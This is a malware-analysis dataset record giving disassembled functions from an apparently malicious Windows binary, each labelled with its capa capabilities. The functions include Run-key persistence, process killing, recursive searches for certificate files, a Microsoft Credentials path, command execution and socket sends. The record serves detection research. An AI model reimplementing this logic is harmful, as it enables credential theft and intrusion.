joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402370
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x410
lea eax, [esp]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x12]
push eax
mov eax, dword [esp + 0x14]
and ecx, 0xffff
and eax, 0xffff
and edx, 0xffff
push ecx
add eax, 8
push edx
push eax
push str._n__02d:_02d:_02d__05ld__0x_08x_web_client__t
lea ecx, [esp + 0x2c]
push 0x400
push ecx
call fcn.00420441
mov ecx, dword [esp + 0x438]
lea edx, [esp + 0x43c]
push edx
mov edx, 0x400
sub edx, eax
push ecx
lea eax, [esp + eax + 0x3c]
push edx
push eax
call fcn.00420a72
add esp, 0x30
lea ecx, [esp + 0x15]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x434554
push str.c:web_lp_trace.log
call fcn.00420a5f
mov esi, eax
add esp, 8
test esi, esi
je 0x402436
push edi
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push esi
dec ecx
push 1
lea edx, [esp + 0x20]
push ecx
push edx
call fcn.00420935
push esi
call fcn.004208df
add esp, 0x14
pop edi
pop esi
add esp, 0x410
ret

Function at 0x402440
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x40248d
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x40248d
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x9c
ret
mov eax, dword [esp + 0xc]
cmp eax, 5
jne 0x4024ab
cmp dword [esp + 0x10], 1
jne 0x4024bd
pop edi
mov eax, 2
pop esi
add esp, 0x9c
ret
cmp eax, 6
jne 0x4024bd
mov ecx, dword [esp + 0x10]
mov eax, 1
cmp ecx, eax
je 0x4024bf
xor eax, eax
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x4030e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
mov dword [esp], 4
push eax
push 0x20019
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403114
or eax, 0xffffffff
add esp, 8
ret 0x10
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
test esi, esi
jne 0x403146
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [edx], eax
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 8
ret 0x10
Function at 0x403160
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push ecx
push 0x20019
lea eax, [esi - 1]
push 0
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403193
or eax, 0xffffffff
pop esi
ret 0x14
mov ecx, esi
push ebx
mov ebx, dword [esp + 0xc]
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x20]
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x20]
push ebx
push ecx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
test esi, esi
jne 0x4031d7
mov ecx, dword [esp + 0x14]
mov byte [ecx + ebx], al
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop ebx
pop esi
ret 0x14

Function at 0x4031f0
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x403221
or eax, 0xffffffff
ret 0x10
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
ret 0x10

Function at 0x403260
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x403291
or eax, 0xffffffff
ret 0x10
mov edx, dword [esp + 4]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x18]
push edx
mov edx, dword [esp + 0x18]
push 1
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
ret 0x10
Function at 0x4032e0
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 0x10]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x403311
or eax, 0xffffffff
ret 0x14
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
mov eax, dword [esp + 0x14]
push esi
push ecx
mov ecx, dword [esp + 0x18]
xor esi, esi
push edx
push 3
push esi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40334c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RegSetValueEx_failed:__ld
call fcn.00402370
add esp, 8
or esi, 0xffffffff
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
ret 0x14

Function at 0x403370
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403398
or eax, 0xffffffff
pop ecx
ret 0x14
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x20]
lea ecx, [esp + 0x1c]
push esi
push ecx
lea edx, [esp + 0x10]
push 0
mov dword [eax], 0
mov eax, dword [esp + 0x24]
push edx
push 0
push ebp
push eax
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403444
mov eax, dword [esp + 0x20]
add eax, 2
push eax
mov dword [esp + 0x24], eax
call fcn.00420528
mov esi, eax
add esp, 4
test esi, esi
je 0x403475
mov ecx, dword [esp + 0x20]
push edi
mov edx, ecx
xor eax, eax
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x24]
push ecx
push esi
mov dword [ebx], eax
mov eax, dword [esp + 0x28]
push edx
push 0
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
pop edi
jne 0x40346c
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
push edx
mov dword [ecx], esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0x14
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RegQueryValueEx_failed:__ld
call fcn.00402370
mov edx, dword [esp + 0x24]
add esp, 8
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0x14
push esi
call fcn.004203d8
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0x14
Function at 0x403490
Capabilities:
Delete registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4034b6
or eax, 0xffffffff
ret 0xc
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
ret 0xc

Function at 0x403e30
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x400
push ebx
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov esi, dword [esp + 0x410]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x400
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ecx, [esp + 0xc]
mov ebx, dword [esp + 0x414]
push ecx
push 0x434ca0
push ebx
push esi
call fcn.00420441
add esp, 0x10
lea edx, [esp + 0xc]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0xc]
push 0x400
push edx
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
test eax, eax
je 0x403eb7
lea eax, [esp + 0xc]
push eax
push 0x434ca4
push ebx
push esi
call fcn.00420441
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x400
ret 8

Function at 0x403ef0
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push edi
push str.terminate_process_id:__ld
mov esi, eax
call fcn.00402370
add esp, 8
test esi, esi
je 0x403f43
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x403f37
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.TerminateProcess_of__d_failed:__d
call fcn.00402370
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.OpenProcess_of__d_failed:__d
call fcn.00402370
add esp, 0xc
pop edi
pop esi
ret 4

Function at 0x403f60
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1004
call fcn.004208b0
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x403fbd
mov eax, dword [esp]
shr eax, 2
je 0x403fbd
push ebx
mov ebx, dword [esp + 0x100c]
push esi
push edi
lea esi, [esp + 0x10]
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x403fb4
push eax
push ebx
call fcn.00403fd0
test eax, eax
je 0x403fb4
mov edx, dword [esi]
push edx
call fcn.00403ef0
add esi, 4
dec edi
jne 0x403f9b
pop edi
pop esi
pop ebx
add esp, 0x1004
ret 4
Function at 0x403fd0
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x10c
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x120]
push eax
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x404051
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push ebx
push esi
mov dword [esp + 0x1c], 0x104
call fcn.00404090
test eax, eax
jne 0x404051
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
push 4
push ecx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x404051
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 0x104
push edx
push eax
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
mov edx, dword [esp + 0x11c]
lea ecx, [esp + 0x14]
push ecx
push edx
call fcn.00402cf0
test eax, eax
je 0x40406c
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x10c
ret 8

Function at 0x404200
Capabilities:
Create process on windows
Query environment variable

Disassembly:
sub esp, 0x854
push esi
push edi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x5c]
push 0x400
mov dword [esp + 0x14], eax
push ecx
push str._SYSTEMROOT_Explorer.exe
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x30], 0x434d38
mov dword [esp + 0x2c], 0x434d40
call esi
lea edx, [esp + 0x45c]
push 0x400
push edx
push str._SYSTEMROOT__
call esi
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x460]
push ecx
push edx
push 0
push 0
push 0
push 0
lea eax, [esp + 0x78]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
test eax, eax
jne 0x4042b3
lea ecx, [esp + 0x54]
push ecx
push str.start_default_explorer_failed:__s
call fcn.00402370
add esp, 8
or eax, 0xffffffff
add esp, 0x854
ret
mov ecx, dword [esp + 8]
lea edx, [esp + 0x454]
lea eax, [esp + 0x54]
push edx
push eax
push ecx
push str.default_explorer_pid:__ld__cmd:__s__path:__s
call fcn.00402370
mov eax, dword [esp + 0x18]
add esp, 0x10
add esp, 0x854
ret

Function at 0x404460
Capabilities:
Persist via run registry key

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
push str.Write_Into_Regedit:__s
call fcn.00402370
add esp, 8
test esi, esi
je 0x4044a5
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
cmp ecx, 0xa
jbe 0x4044a5
push 0x434de4
push 0x434df4
push reloc.WS2_32.dll_accept
push esi
call fcn.00403260
xor eax, eax
pop esi
ret 4
push str.RestoreFiles
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call fcn.00403490
xor eax, eax
pop esi
ret 4
Function at 0x404a70
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x400
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x408]
test eax, eax
jne 0x404aa4
or eax, 0xffffffff
pop edi
add esp, 0x400
ret 0x10
mov ecx, dword [esp + 0x40c]
push esi
or ecx, 0x80000000
mov esi, dword [esp + 0x414]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x418]
mov dword [esp + 0xc], ecx
mov edx, ecx
lea edi, [esp + 0x10]
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0xc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
lea esi, [ecx + 8]
push esi
push edx
push eax
call sub.WS2_32.dll_send
sub eax, esi
pop esi
neg eax
sbb eax, eax
pop edi
add esp, 0x400
ret 0x10

Function at 0x404b00
Capabilities:
Create thread

Disassembly:
push 0xc
call fcn.00420528
add esp, 4
mov dword [0x43a6e4], eax
test eax, eax
jne 0x404b17
or eax, 0xffffffff
ret
mov dword [eax], 0
mov eax, dword [0x43a6e4]
push 0
push 0
push 0
mov dword [eax + 4], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, dword [0x43a6e4]
push 0
push 0
push 0
push 0x404b60
push 0
push 0
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x43a6dc], eax
neg eax
sbb eax, eax
neg eax
dec eax
ret
Function at 0x405720
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x940
lea eax, [esp + 0x540]
push esi
mov esi, dword [esp + 0x94c]
push edi
push esi
push 0x435160
push 0x400
push eax
call fcn.00420441
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + esi - 1], 0x5c
je 0x405778
push esi
push 0x435164
lea ecx, [esp + 0x550]
push 0x400
push ecx
call fcn.00420441
add esp, 0x10
lea edx, [esp + 0x548]
lea eax, [esp + 0x148]
push edx
push 0x435168
push 0x400
push eax
call fcn.00420441
add esp, 0x10
lea ecx, [esp + 8]
lea edx, [esp + 0x148]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4057c1
pop edi
xor eax, eax
pop esi
add esp, 0x940
ret 8
lea eax, [esp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
push eax
push edi
call ebx
test eax, eax
je 0x4058a5
mov esi, dword [esp + 0x950]
lea ecx, [esp + 0x38]
push 0x43516c
push ecx
call fcn.00421220
add esp, 8
test eax, eax
je 0x405895
lea edx, [esp + 0x38]
push 0x435170
push edx
call fcn.00421220
add esp, 8
test eax, eax
je 0x405895
lea eax, [esp + 0x38]
lea ecx, [esp + 0x54c]
push eax
push ecx
push 0x435174
lea edx, [esp + 0x158]
push 0x400
push edx
call fcn.00420441
lea eax, [esp + 0x160]
push eax
push str.ie:__s
call fcn.00402370
add esp, 0x1c
lea ecx, [esp + 0x14c]
push ecx
call fcn.00405ac0
test eax, eax
je 0x405881
lea edx, [esp + 0x14c]
push 1
push edx
push esi
call fcn.004058c0
test eax, eax
jne 0x4058a5
lea eax, [esp + 0x14c]
push eax
push esi
call fcn.00405720
jmp 0x405895
lea ecx, [esp + 0x14c]
push 0
push ecx
push esi
call fcn.004058c0
test eax, eax
jne 0x4058a5
lea edx, [esp + 0xc]
push edx
push edi
call ebx
test eax, eax
jne 0x4057df
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x940
ret 8

Function at 0x405ac0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x405ad5
xor eax, eax
ret 4
and eax, 0xff
shr eax, 4
and eax, 1
ret 4
Function at 0x405bd0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x940
lea eax, [esp + 0x540]
push esi
mov esi, dword [esp + 0x94c]
push edi
push esi
push 0x43521c
push 0x400
push eax
call fcn.00420441
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + esi - 1], 0x5c
je 0x405c28
push esi
push 0x435220
lea ecx, [esp + 0x550]
push 0x400
push ecx
call fcn.00420441
add esp, 0x10
lea edx, [esp + 0x548]
lea eax, [esp + 0x148]
push edx
push 0x435224
push 0x400
push eax
call fcn.00420441
add esp, 0x10
lea ecx, [esp + 8]
lea edx, [esp + 0x148]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405c71
pop edi
xor eax, eax
pop esi
add esp, 0x940
ret 8
lea eax, [esp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
push eax
push edi
call ebx
test eax, eax
je 0x405d64
mov esi, dword [esp + 0x950]
lea ecx, [esp + 0x38]
push 0x435228
push ecx
call fcn.00421220
add esp, 8
test eax, eax
je 0x405d45
lea edx, [esp + 0x38]
push 0x43522c
push edx
call fcn.00421220
add esp, 8
test eax, eax
je 0x405d45
lea eax, [esp + 0x38]
lea ecx, [esp + 0x54c]
push eax
push ecx
push 0x435230
lea edx, [esp + 0x158]
push 0x400
push edx
call fcn.00420441
lea eax, [esp + 0x160]
push eax
push str.cert:__s
call fcn.00402370
add esp, 0x1c
lea ecx, [esp + 0x14c]
push ecx
call fcn.00405ac0
test eax, eax
je 0x405d31
lea edx, [esp + 0x14c]
push 1
push edx
push esi
call fcn.00405d80
test eax, eax
jne 0x405d57
lea eax, [esp + 0x14c]
push eax
push esi
call fcn.00405bd0
jmp 0x405d45
lea ecx, [esp + 0x14c]
push 0
push ecx
push esi
call fcn.00405d80
test eax, eax
jne 0x405d64
lea edx, [esp + 0xc]
push edx
push edi
call ebx
test eax, eax
jne 0x405c8f
jmp 0x405d64
push str.sendLibpubCert_failed
call fcn.00402370
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x940
ret 8

Function at 0x405e30
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], 0
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
pop edi
jne 0x405e82
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SHGetSpecialFolderPath_failed:__d
call fcn.00402370
add esp, 8
or eax, 0xffffffff
add esp, 0x104
ret 8
mov edx, dword [esp + 0x10c]
mov eax, dword [esp + 0x108]
lea ecx, [esp]
push ecx
push str._sMicrosoftCredentials
push edx
push eax
call fcn.00420441
add esp, 0x10
xor eax, eax
add esp, 0x104
ret 8
Function at 0x4064b0
Capabilities:
Create thread
Terminate thread

Disassembly:
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x10]
push esi
push 0
push 0
push ebx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x4064d8
pop esi
or eax, 0xffffffff
pop ebx
ret 0x10
mov ecx, dword [esp + 0x18]
push edi
push ecx
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40651b
push ebx
push str.Security_Software_Had_stopped_me:__s
call fcn.00402370
add esp, 8
or edi, 0xffffffff
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
mov edx, dword [esp + 0x18]
push 0x100e
push edx
call fcn.00404a70
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x406d80
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x14], 0x44
test eax, eax
pop edi
jne 0x406db4
mov dword [esp + 0x1c], 0x4353f8
mov dword [esp + 0x18], 0x435400
jmp 0x406dbc
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
xor eax, eax
lea ecx, [esp]
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
mov esi, dword [esp + 0x5c]
lea edx, [esp + 0x14]
mov dword [esp + 0xc], eax
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push esi
push eax
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406e0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.pub_run_cmd_:__s_failed:__ld
call fcn.00402370
add esp, 0xc
or eax, 0xffffffff
pop esi
add esp, 0x54
ret 8
mov eax, dword [esp + 4]
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x406e32
mov ecx, dword [esp + 4]
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esp + 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 8]
push eax
call esi
xor eax, eax
pop esi
add esp, 0x54
ret 8